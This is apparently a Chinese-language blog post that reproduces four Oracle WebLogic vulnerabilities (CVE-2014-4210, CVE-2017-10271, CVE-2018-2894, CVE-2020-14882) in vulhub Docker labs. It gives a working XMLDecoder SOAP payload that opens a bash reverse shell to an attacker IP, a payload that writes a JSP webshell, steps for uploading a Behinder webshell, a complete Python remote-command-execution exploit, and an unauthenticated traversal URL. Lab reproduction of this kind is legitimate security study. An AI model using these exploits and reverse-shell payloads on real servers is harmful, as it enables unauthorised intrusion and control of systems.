漏洞复现 漏洞复现 漏洞复现-weblogic y2xsec 2023-09-30 2023-09-30 漏洞复现-weblogic复现 开始复现咯
CVE-2014-4210 漏洞:SSRF漏洞
漏洞原因:weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
漏洞复现:
1 2 3 cd vulhub/weblogic/CVE-2014-4210 docker-compose up -d // 拉取完镜像后docker ps会有两个容器,一个是weblogic的,一个是redis的
访问如下路径:
1 /console/login/LoginForm.jsp
img
点search
然后抓包
img
1、post方法
如果指定端口开放则会返回带有404内容的提示,访问的端口不开放则会出现“not connect over”内容提示。
2、get方法
如果有Received a response
字样就说明端口开放,没有就没开放。
CVE-2017-10271 漏洞:XMLDecoder反序列化漏洞
漏洞原因: Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞复现:
1 2 cd vulhub/weblogic/CVE-2017-10271 docker-compose up -d
漏洞存在于以下路径:/wls-wsat/CoordinatorPortType
访问http://youip//wls-wsat/CoordinatorPortType
,显示如下页面就说明存在漏洞
然后在kali上开启监听
抓包发送构造好的请求包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/接收shell的ip/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
发送后出现如下的500错误就说明利用成功
然后回去看kali上,发现shell反弹回来了
接下来就尝试上传木马,这里利用冰蝎的shell.jsp,复制shell.jsp的代码替换<% out.print("test"); %>
post请求体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" > <java><java version="1.4.0" class="java.beans.XMLDecoder" > <object class="java.io.PrintWriter" > <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println" ><string> <![CDATA[ <% out.print("test" ); %> ]]> </string> </void > <void method="close" /> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
发包后结果如下:
需要注意的是shell.jsp里有中文,需要把中文删掉再发包。
然后冰蝎连接
连接成功
CVE-2018-2628 CVE-2018-2894 漏洞:任意文件上传
漏洞原因:Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
漏洞复现:
1 2 cd vulhub/weblogic/CVE-2018-2894 docker-compose up -d
访问 http://your-ip:7001/console
在本地获取一下密码
1 # docker-compose logs | grep password
获取到密码后,输入用户密码进入后台
点击base_domain,然后点高级
勾选“启用 Web 服务测试页”,然后保存
然后访问未授权页面/ws_utc/config.do
,修改Work Home Dir:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
修改后点击提交即可。然后点安全,随便设一个名字和密码
点浏览选择冰蝎自带的shell.jsp文件,然后抓包上传
可以看到相应包里有时间戳(一会要用到),上传成功。之后就在浏览器访问我们刚刚上传的shell.jsp
1 http://yourip:7001/ws_utc/css/config/keystore/[时间戳]_shell.jsp
访问成功,接下来利用冰蝎(或者其他webshell都行)连接
连接成功
CVE-2020-14882 漏洞:未授权命令执行
漏洞原因: 未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。
漏洞复现:
1 2 cd vulhub/weblogic/CVE-2020-14882 docker-compose up -d
img
一、命令执行 exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import reimport sysimport requestsimport http.clienthttp.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' if len (sys.argv) <3 : print ('用法:python exp.py http(s):target-ip:target-port command' ) sys.exit() baseurl = sys.argv[1 ] if baseurl[-1 ]=='/' : baseurl = baseurl[0 :-1 ] cmd = sys.argv[2 ] if len (sys.argv) > 3 : i = 3 while i < len (sys.argv): cmd += ' ' cmd += sys.argv[i] i += 1 proxy = {"http" : "http://127.0.0.1:8080" } res = baseurl + "/console/css/%252e%252e%252fconsole.portal" response = requests.get(res, allow_redirects=False ) cookie_raw = response.headers['Set-Cookie' ] matchObj = re.match ( r'(.*); path=/.*?' , cookie_raw, re.M|re.I) if matchObj: cookie = matchObj.group(1 ) else : print ('未获取到cookie!' ) sys.exit(); res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')""" headers = {"cookie" :cookie, "cmd" :cmd} response = requests.get(res, headers=headers, allow_redirects=False ) print (response.text)
使用方法:python exp.py [ip]:[port] [command]
img
二、未授权访问 路径如下:
1 /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
进入未授权的登录页面
img
参考文章1:https://blog.csdn.net/qq_43593134/article/details/119801840
参考文章2:https://blog.csdn.net/zy15667076526/article/details/110716069